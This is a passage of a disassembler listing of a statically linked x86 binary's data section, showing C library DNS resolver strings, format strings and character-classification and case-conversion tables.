'PTR',0 ; DATA XREF: __p_type+484o aHinfo db 'HINFO',0 ; DATA XREF: __p_type+490o aMinfo db 'MINFO',0 ; DATA XREF: __p_type+49Co aMx db 'MX',0 ; DATA XREF: __p_type+4A8o aTxt db 'TXT',0 ; DATA XREF: __p_type+4B4o aRp db 'RP',0 ; DATA XREF: __p_type+4C0o aAfsdb db 'AFSDB',0 ; DATA XREF: __p_type+4CCo aX25 db 'X25',0 ; DATA XREF: __p_type+4D8o aIsdn db 'ISDN',0 ; DATA XREF: __p_type+4E4o aRt db 'RT',0 ; DATA XREF: __p_type+4F0o aNsap db 'NSAP',0 ; DATA XREF: __p_type+4FCo aNsap_ptr db 'NSAP_PTR',0 ; DATA XREF: __p_type+508o aSig db 'SIG',0 ; DATA XREF: __p_type+514o aKey db 'KEY',0 ; DATA XREF: __p_type+520o aPx db 'PX',0 ; DATA XREF: __p_type+52Co aGpos db 'GPOS',0 ; DATA XREF: __p_type+538o aAaaa db 'AAAA',0 ; DATA XREF: __p_type+544o aLoc db 'LOC',0 ; DATA XREF: __p_type+550o aAxfr db 'AXFR',0 ; DATA XREF: __p_type+55Co aMailb db 'MAILB',0 ; DATA XREF: __p_type+568o aMaila db 'MAILA',0 ; DATA XREF: __p_type+574o aAny db 'ANY',0 ; DATA XREF: __p_type+580o ; sub_80605D0+38o aUinfo db 'UINFO',0 ; DATA XREF: __p_type+58Co aUid db 'UID',0 ; DATA XREF: __p_type+598o aGid db 'GID',0 ; DATA XREF: __p_type+5A4o aIn db 'IN',0 ; DATA XREF: sub_80605D0+20o aHs db 'HS',0 ; DATA XREF: sub_80605D0+2Co aInit db 'init',0 ; DATA XREF: sub_8060630+A0o aDebug_1 db 'debug',0 ; DATA XREF: sub_8060630+ACo aAaonlyUnimpl db 'aaonly(unimpl)',0 ; DATA XREF: sub_8060630+B8o aUsevc db 'usevc',0 ; DATA XREF: sub_8060630+C4o aPrimryUnimpl db 'primry(unimpl)',0 ; DATA XREF: sub_8060630+D0o aIgntc db 'igntc',0 ; DATA XREF: sub_8060630+DCo aRecurs db 'recurs',0 ; DATA XREF: sub_8060630+E8o aDefnam db 'defnam',0 ; DATA XREF: sub_8060630+F4o aStyopn db 'styopn',0 ; DATA XREF: sub_8060630+100o aDnsrch db 'dnsrch',0 ; DATA XREF: sub_8060630+10Co aInsecure1 db 'insecure1',0 ; DATA XREF: sub_8060630+118o aInsecure2 db 'insecure2',0 ; DATA XREF: sub_8060630+124o a?0xLx? db '?0x%lx?',0 ; DATA XREF: sub_8060630+131o dword_806992F dd 65732030h ; DATA XREF: sub_806077C+10r word_8069933 dw 7363h ; DATA XREF: sub_806077C+1Ar byte_8069935 db 0 ; DATA XREF: sub_806077C+26r unk_8069936 db 0 ; ; DATA XREF: sub_806077C+6Bo ; sub_806077C+9Co ... unk_8069937 db 73h ; s ; DATA XREF: sub_806077C+61o ; sub_806077C+92o ... db 0 ; aDDayS db '%d day%s',0 ; DATA XREF: sub_806077C+72o aDHourS db '%d hour%s',0 ; DATA XREF: sub_806077C+A3o aDMinS db '%d min%s',0 ; DATA XREF: sub_806077C+E1o aDSecS db '%d sec%s',0 ; DATA XREF: sub_806077C+131o aZoneref db 'ZONEREF',0 ; DATA XREF: .data:08078FE8o aZoneinit db 'ZONEINIT',0 ; DATA XREF: .data:08078FE4o aUpdatema db 'UPDATEMA',0 ; DATA XREF: .data:08078FE0o aUpdatem db 'UPDATEM',0 ; DATA XREF: .data:08078FDCo aUpdateda db 'UPDATEDA',0 ; DATA XREF: .data:08078FD8o aUpdated db 'UPDATED',0 ; DATA XREF: .data:08078FD4o aUpdatea db 'UPDATEA',0 ; DATA XREF: .data:08078FD0o a8 db '8',0 ; DATA XREF: .data:08078FCCo ; .data:0807900Co a7 db '7',0 ; DATA XREF: .data:08078FC8o ; .data:08079008o a6 db '6',0 ; DATA XREF: .data:08078FC4o ; .data:08079004o a5 db '5',0 ; DATA XREF: .data:08078FC0o aNotify db 'NOTIFY',0 ; DATA XREF: .data:08078FBCo aCqueryu db 'CQUERYU',0 ; DATA XREF: .data:08078FB8o aCquerym db 'CQUERYM',0 ; DATA XREF: .data:08078FB4o aIquery db 'IQUERY',0 ; DATA XREF: .data:08078FB0o aQuery db 'QUERY',0 aNochange db 'NOCHANGE',0 ; DATA XREF: .data:08079028o a14 db '14',0 ; DATA XREF: .data:08079024o a13 db '13',0 ; DATA XREF: .data:08079020o a12 db '12',0 ; DATA XREF: .data:0807901Co a11 db '11',0 ; DATA XREF: .data:08079018o a10 db '10',0 ; DATA XREF: .data:08079014o a9 db '9',0 ; DATA XREF: .data:08079010o aRefused db 'REFUSED',0 ; DATA XREF: .data:08079000o aNotimp db 'NOTIMP',0 ; DATA XREF: .data:08078FFCo aNxdomain db 'NXDOMAIN',0 ; DATA XREF: .data:08078FF8o aServfail db 'SERVFAIL',0 ; DATA XREF: .data:08078FF4o aFormerr db 'FORMERR',0 ; DATA XREF: .data:08078FF0o aNoerror db 'NOERROR',0 aRes_mkqueryDSD db ';; res_mkquery(%d, %s, %d, %d)',0Ah,0 ; DATA XREF: res_mkquery+51o a00000000000000 db ' 0000000000000000',0 ; DATA XREF: _IO_padn+13o asc_8069A51 db ': ',0 ; DATA XREF: _IO_perror+2Co aSSS db '%s%s%s',0Ah,0 ; DATA XREF: _IO_perror+59o aUnknownError db 'Unknown error',0 ; DATA XREF: _IO_perror+6Do aSSSD db '%s%s%s %d',0Ah,0 ; DATA XREF: _IO_perror+87o a0123456789abcd db '0123456789abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: _IO_vfprintf+E7Co ; _IO_vfprintf+28CEo ... a0123456789ab_0 db '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: _IO_vfprintf+E8Fo ; _IO_vfprintf+28EBo ... align 4 db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 3 ; db 20h ; db 2 ; db 20h ; db 2 ; db 20h ; db 2 ; db 20h ; db 2 ; db 20h ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 1 ; db 60h ; ` db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 0 ; db 0D8h ; db 0 ; db 0D8h ; db 0 ; db 0D8h ; db 0 ; db 0D8h ; db 0 ; db 0D8h ; db 0 ; db 0D8h ; db 0 ; db 0D8h ; db 0 ; db 0D8h ; db 0 ; db 0D8h ; db 0 ; db 0D8h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 0 ; db 0D5h ; db 0 ; db 0D5h ; db 0 ; db 0D5h ; db 0 ; db 0D5h ; db 0 ; db 0D5h ; db 0 ; db 0D5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 0 ; db 0C5h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 0 ; db 0D6h ; db 0 ; db 0D6h ; db 0 ; db 0D6h ; db 0 ; db 0D6h ; db 0 ; db 0D6h ; db 0 ; db 0D6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 0 ; db 0C6h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 4 ; db 0C0h ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 2 ; db 0 ; db 0 ; db 80h ; db 0 ; db 0 ; db 0 ; db 81h ; db 0 ; db 0 ; db 0 ; db 82h ; db 0 ; db 0 ; db 0 ; db 83h ; db 0 ; db 0 ; db 0 ; db 84h ; db 0 ; db 0 ; db 0 ; db 85h ; db 0 ; db 0 ; db 0 ; db 86h ; db 0 ; db 0 ; db 0 ; db 87h ; db 0 ; db 0 ; db 0 ; db 88h ; db 0 ; db 0 ; db 0 ; db 89h ; db 0 ; db 0 ; db 0 ; db 8Ah ; db 0 ; db 0 ; db 0 ; db 8Bh ; db 0 ; db 0 ; db 0 ; db 8Ch ; db 0 ; db 0 ; db 0 ; db 8Dh ; db 0 ; db 0 ; db 0 ; db 8Eh ; db 0 ; db 0 ; db 0 ; db 8Fh ; db 0 ; db 0 ; db 0 ; db 90h ; db 0 ; db 0 ; db 0 ; db 91h ; db 0 ; db 0 ; db 0 ; db 92h ; db 0 ; db 0 ; db 0 ; db 93h ; db 0 ; db 0 ; db 0 ; db 94h ; db 0 ; db 0 ; db 0 ; db 95h ; db 0 ; db 0 ; db 0 ; db 96h ; db 0 ; db 0 ; db 0 ; db 97h ; db 0 ; db 0 ; db 0 ; db 98h ; db 0 ; db 0 ; db 0 ; db 99h ; db 0 ; db 0 ; db 0 ; db 9Ah ; db 0 ; db 0 ; db 0 ; db 9Bh ; db 0 ; db 0 ; db 0 ; db 9Ch ; db 0 ; db 0 ; db 0 ; db 9Dh ; db 0 ; db 0 ; db 0 ; db 9Eh ; db 0 ; db 0 ; db 0 ; db 9Fh ; db 0 ; db 0 ; db 0 ; db 0A0h ; db 0 ; db 0 ; db 0 ; db 0A1h ; db 0 ; db 0 ; db 0 ; db 0A2h ; db 0 ; db 0 ; db 0 ; db 0A3h ; db 0 ; db 0 ; db 0 ; db 0A4h ; db 0 ; db 0 ; db 0 ; db 0A5h ; db 0 ; db 0 ; db 0 ; db 0A6h ; db 0 ; db 0 ; db 0 ; db 0A7h ; db 0 ; db 0 ; db 0 ; db 0A8h ; db 0 ; db 0 ; db 0 ; db 0A9h ; db 0 ; db 0 ; db 0 ; db 0AAh ; db 0 ; db 0 ; db 0 ; db 0ABh ; db 0 ; db 0 ; db 0 ; db 0ACh ; db 0 ; db 0 ; db 0 ; db 0ADh ; db 0 ; db 0 ; db 0 ; db 0AEh ; db 0 ; db 0 ; db 0 ; db 0AFh ; db 0 ; db 0 ; db 0 ; db 0B0h ; db 0 ; db 0 ; db 0 ; db 0B1h ; db 0 ; db 0 ; db 0 ; db 0B2h ; db 0 ; db 0 ; db 0 ; db 0B3h ; db 0 ; db 0 ; db 0 ; db 0B4h ; db 0 ; db 0 ; db 0 ; db 0B5h ; db 0 ; db 0 ; db 0 ; db 0B6h ; db 0 ; db 0 ; db 0 ; db 0B7h ; db 0 ; db 0 ; db 0 ; db 0B8h ; db 0 ; db 0 ; db 0 ; db 0B9h ; db 0 ; db 0 ; db 0 ; db 0BAh ; db 0 ; db 0 ; db 0 ; db 0BBh ; db 0 ; db 0 ; db 0 ; db 0BCh ; db 0 ; db 0 ; db 0 ; db 0BDh ; db 0 ; db 0 ; db 0 ; db 0BEh ; db 0 ; db 0 ; db 0 ; db 0BFh ; db 0 ; db 0 ; db 0 ; db 0C0h ; db 0 ; db 0 ; db 0 ; db 0C1h ; db 0 ; db 0 ; db 0 ; db 0C2h ; db 0 ; db 0 ; db 0 ; db 0C3h ; db 0 ; db 0 ; db 0 ; db 0C4h ; db 0 ; db 0 ; db 0 ; db 0C5h ; db 0 ; db 0 ; db 0 ; db 0C6h ; db 0 ; db 0 ; db 0 ; db 0C7h ; db 0 ; db 0 ; db 0 ; db 0C8h ; db 0 ; db 0 ; db 0 ; db 0C9h ; db 0 ; db 0 ; db 0 ; db 0CAh ; db 0 ; db 0 ; db 0 ; db 0CBh ; db 0 ; db 0 ; db 0 ; db 0CCh ; db 0 ; db 0 ; db 0 ; db 0CDh ; db 0 ; db 0 ; db 0 ; db 0CEh ; db 0 ; db 0 ; db 0 ; db 0CFh ; db 0 ; db 0 ; db 0 ; db 0D0h ; db 0 ; db 0 ; db 0 ; db 0D1h ; db 0 ; db 0 ; db 0 ; db 0D2h ; db 0 ; db 0 ; db 0 ; db 0D3h ; db 0 ; db 0 ; db 0 ; db 0D4h ; db 0 ; db 0 ; db 0 ; db 0D5h ; db 0 ; db 0 ; db 0 ; db 0D6h ; db 0 ; db 0 ; db 0 ; db 0D7h ; db 0 ; db 0 ; db 0 ; db 0D8h ; db 0 ; db 0 ; db 0 ; db 0D9h ; db 0 ; db 0 ; db 0 ; db 0DAh ; db 0 ; db 0 ; db 0 ; db 0DBh ; db 0 ; db 0 ; db 0 ; db 0DCh ; db 0 ; db 0 ; db 0 ; db 0DDh ; db 0 ; db 0 ; db 0 ; db 0DEh ; db 0 ; db 0 ; db 0 ; db 0DFh ; db 0 ; db 0 ; db 0 ; db 0E0h ; db 0 ; db 0 ; db 0 ; db 0E1h ; db 0 ; db 0 ; db 0 ; db 0E2h ; db 0 ; db 0 ; db 0 ; db 0E3h ; db 0 ; db 0 ; db 0 ; db 0E4h ; db 0 ; db 0 ; db 0 ; db 0E5h ; db 0 ; db 0 ; db 0 ; db 0E6h ; db 0 ; db 0 ; db 0 ; db 0E7h ; db 0 ; db 0 ; db 0 ; db 0E8h ; db 0 ; db 0 ; db 0 ; db 0E9h ; db 0 ; db 0 ; db 0 ; db 0EAh ; db 0 ; db 0 ; db 0 ; db 0EBh ; db 0 ; db 0 ; db 0 ; db 0ECh ; db 0 ; db 0 ; db 0 ; db 0EDh ; db 0 ; db 0 ; db 0 ; db 0EEh ; db 0 ; db 0 ; db 0 ; db 0EFh ; db 0 ; db 0 ; db 0 ; db 0F0h ; db 0 ; db 0 ; db 0 ; db 0F1h ; db 0 ; db 0 ; db 0 ; db 0F2h ; db 0 ; db 0 ; db 0 ; db 0F3h ; db 0 ; db 0 ; db 0 ; db 0F4h ; db 0 ; db 0 ; db 0 ; db 0F5h ; db 0 ; db 0 ; db 0 ; db 0F6h ; db 0 ; db 0 ; db 0 ; db 0F7h ; db 0 ; db 0 ; db 0 ; db 0F8h ; db 0 ; db 0 ; db 0 ; db 0F9h ; db 0 ; db 0 ; db 0 ; db 0FAh ; db 0 ; db 0 ; db 0 ; db 0FBh ; db 0 ; db 0 ; db 0 ; db 0FCh ; db 0 ; db 0 ; db 0 ; db 0FDh ; db 0 ; db 0 ; db 0 ; db 0FEh ; db 0 ; db 0 ; db 0 ; db 0FFh ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 2 ; db 0 ; db 0 ; db 0 ; db 3 ; db 0 ; db 0 ; db 0 ; db 4 ; db 0 ; db 0 ; db 0 ; db 5 ; db 0 ; db 0 ; db 0 ; db 6 ; db 0 ; db 0 ; db 0 ; db 7 ; db 0 ; db 0 ; db 0 ; db 8 ; db 0 ; db 0 ; db 0 ; db 9 ; db 0 ; db 0 ; db 0 ; db 0Ah ; db 0 ; db 0 ; db 0 ; db 0Bh ; db 0 ; db 0 ; db 0 ; db 0Ch ; db 0 ; db 0 ; db 0 ; db 0Dh ; db 0 ; db 0 ; db 0 ; db 0Eh ; db 0 ; db 0 ; db 0 ; db 0Fh ; db 0 ; db 0 ; db 0 ; db 10h ; db 0 ; db 0 ; db 0 ; db 11h ; db 0 ; db 0 ; db 0 ; db 12h ; db 0 ; db 0 ; db 0 ; db 13h ; db 0 ; db 0 ; db 0 ; db 14h ; db 0 ; db 0 ; db 0 ; db 15h ; db 0 ; db 0 ; db 0 ; db 16h ; db 0 ; db 0 ; db 0 ; db 17h ; db 0 ; db 0 ; db 0 ; db 18h ; db 0 ; db 0 ; db 0 ; db 19h ; db 0 ; db 0 ; db 0 ; db 1Ah ; db 0 ; db 0 ; db 0 ; db 1Bh ; db 0 ; db 0 ; db 0 ; db 1Ch ; db 0 ; db 0 ; db 0 ; db 1Dh ; db 0 ; db 0 ; db 0 ; db 1Eh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 20h ; db 0 ; db 0 ; db 0 ; db 21h ; ! db 0 ; db 0 ; db 0 ; db 22h ; " db 0 ; db 0 ; db 0 ; db 23h ; # db 0 ; db 0 ; db 0 ; db 24h ; $ db 0 ; db 0 ; db 0 ; db 25h ; % db 0 ; db 0 ; db 0 ; db 26h ; & db 0 ; db 0 ; db 0 ; db 27h ; ' db 0 ; db 0 ; db 0 ; db 28h ; ( db 0 ; db 0 ; db 0 ; db 29h ; ) db 0 ; db 0 ; db 0 ; db 2Ah ; * db 0 ; db 0 ; db 0 ; db 2Bh ; + db 0 ; db 0 ; db 0 ; db 2Ch ; , db 0 ; db 0 ; db 0 ; db 2Dh ; - db 0 ; db 0 ; db 0 ; db 2Eh ; . db 0 ; db 0 ; db 0 ; db 2Fh ; / db 0 ; db 0 ; db 0 ; db 30h ; 0 db 0 ; db 0 ; db 0 ; db 31h ; 1 db 0 ; db 0 ; db 0 ; db 32h ; 2 db 0 ; db 0 ; db 0 ; db 33h ; 3 db 0 ; db 0 ; db 0 ; db 34h ; 4 db 0 ; db 0 ; db 0 ; db 35h ; 5 db 0 ; db 0 ; db 0 ; db 36h ; 6 db 0 ; db 0 ; db 0 ; db 37h ; 7 db 0 ; db 0 ; db 0 ; db 38h ; 8 db 0 ; db 0 ; db 0 ; db 39h ; 9 db 0 ; db 0 ; db 0 ; db 3Ah ; : db 0 ; db 0 ; db 0 ; db 3Bh ; ; db 0 ; db 0 ; db 0 ; db 3Ch ; < db 0 ; db 0 ; db 0 ; db 3Dh ; = db 0 ; db 0 ; db 0 ; db 3Eh ; > db 0 ; db 0 ; db 0 ; db 3Fh ; ? db 0 ; db 0 ; db 0 ; db 40h ; @ db 0 ; db 0 ; db 0 ; db 41h ; A db 0 ; db 0 ; db 0 ; db 42h ; B db 0 ; db 0 ; db 0 ; db 43h ; C db 0 ; db 0 ; db 0 ; db 44h ; D db 0 ; db 0 ; db 0 ; db 45h ; E db 0 ; db 0 ; db 0 ; db 46h ; F db 0 ; db 0 ; db 0 ; db 47h ; G db 0 ; db 0 ; db 0 ; db 48h ; H db 0 ; db 0 ; db 0 ; db 49h ; I db 0 ; db 0 ; db 0 ; db 4Ah ; J db 0 ; db 0 ; db 0 ; db 4Bh ; K db 0 ; db 0 ; db 0 ; db 4Ch ; L db 0 ; db 0 ; db 0 ; db 4Dh ; M db 0 ; db 0 ; db 0 ; db 4Eh ; N db 0 ; db 0 ; db 0 ; db 4Fh ; O db 0 ; db 0 ; db 0 ; db 50h ; P db 0 ; db 0 ; db 0 ; db 51h ; Q db 0 ; db 0 ; db 0 ; db 52h ; R db 0 ; db 0 ; db 0 ; db 53h ; S db 0 ; db 0 ; db 0 ; db 54h ; T db 0 ; db 0 ; db 0 ; db 55h ; U db 0 ; db 0 ; db 0 ; db 56h ; V db 0 ; db 0 ; db 0 ; db 57h ; W db 0 ; db 0 ; db 0 ; db 58h ; X db 0 ; db 0 ; db 0 ; db 59h ; Y db 0 ; db 0 ; db 0 ; db 5Ah ; Z db 0 ; db 0 ; db 0 ; db 5Bh ; [ db 0 ; db 0 ; db 0 ; db 5Ch ; \ db 0 ; db 0 ; db 0 ; db 5Dh ; ] db 0 ; db 0 ; db 0 ; db 5Eh ; ^ db 0 ; db 0 ; db 0 ; db 5Fh ; _ db 0 ; db 0 ; db 0 ; db 60h ; ` db 0 ; db 0 ; db 0 ; db 41h ; A db 0 ; db 0 ; db 0 ; db 42h ; B db 0 ; db 0 ; db 0 ; db 43h ; C db 0 ; db 0 ; db 0 ; db 44h ; D db 0 ; db 0 ; db 0 ; db 45h ; E db 0 ; db 0 ; db 0 ; db 46h ; F db 0 ; db 0 ; db 0 ; db 47h ; G db 0 ; db 0 ; db 0 ; db 48h ; H db 0 ; db 0 ; db 0 ; db 49h ; I db 0 ; db 0 ; db 0 ; db 4Ah ; J db 0 ; db 0 ; db 0 ; db 4Bh ; K db 0 ; db 0 ; db 0 ; db 4Ch ; L db 0 ; db 0 ; db 0 ; db 4Dh ; M db 0 ; db 0 ; db 0 ; db 4Eh ; N db 0 ; db 0 ; db 0 ; db 4Fh ; O db 0 ; db 0 ; db 0 ; db 50h ; P db 0 ; db 0 ; db 0 ; db 51h ; Q db 0 ; db 0 ; db 0 ; db 52h ; R db 0 ; db 0 ; db 0 ; db 53h ; S db 0 ; db 0 ; db 0 ; db 54h ; T db 0 ; db 0 ; db 0 ; db 55h ; U db 0 ; db 0 ; db 0 ; db 56h ; V db 0 ; db 0 ; db 0 ; db 57h ; W db 0 ; db 0 ; db 0 ; db 58h ; X db 0 ; db 0 ; db 0 ; db 59h ; Y db 0 ; db 0 ; db 0 ; db 5Ah ; Z db 0 ; db 0 ; db 0 ; db 7Bh ; { db 0 ; db 0 ; db 0 ; db 7Ch ; | db 0 ; db 0 ; db 0 ; db 7Dh ; } db 0 ; db 0 ; db 0 ; db 7Eh ; ~ db 0 ; db 0 ; db 0 ; db 7Fh ;  db 0 ; db 0 ; db 0 ; db 80h ; db 0 ; db 0 ; db 0 ; db 81h ; db 0 ; db 0 ; db 0 ; db 82h ; db 0 ; db 0 ; db 0 ; db 83h ; db 0 ; db 0 ; db 0 ; db 84h ; db 0 ; db 0 ; db 0 ; db 85h ; db 0 ; db 0 ; db 0 ; db 86h ; db 0 ; db 0 ; db 0 ; db 87h ; db 0 ; db 0 ; db 0 ; db 88h ; db 0 ; db 0 ; db 0 ; db 89h ; db 0 ; db 0 ; db 0 ; db 8Ah ; db 0 ; db 0 ; db 0 ; db 8Bh ; db 0 ; db 0 ; db 0 ; db 8Ch ; db 0 ; db 0 ; db 0 ; db 8Dh ; db 0 ; db 0 ; db 0 ; db 8Eh ; db 0 ; db 0 ; db 0 ; db 8Fh ; db 0 ; db 0 ; db 0 ; db 90h ; db 0 ; db 0 ; db 0 ; db 91h ; db 0 ; db 0 ; db 0 ; db 92h ; db 0 ; db 0 ; db 0 ; db 93h ; db 0 ; db 0 ; db 0 ; db 94h ; db 0 ; db 0 ; db 0 ; db 95h ; db 0 ; db 0 ; db 0 ; db 96h ; db 0 ; db 0 ; db 0 ; db 97h ; db 0 ; db 0 ; db 0 ; db 98h ; db 0 ; db 0 ; db 0 ; db 99h ; db 0 ; db 0 ; db 0 ; db 9Ah ; db 0 ; db 0 ; db 0 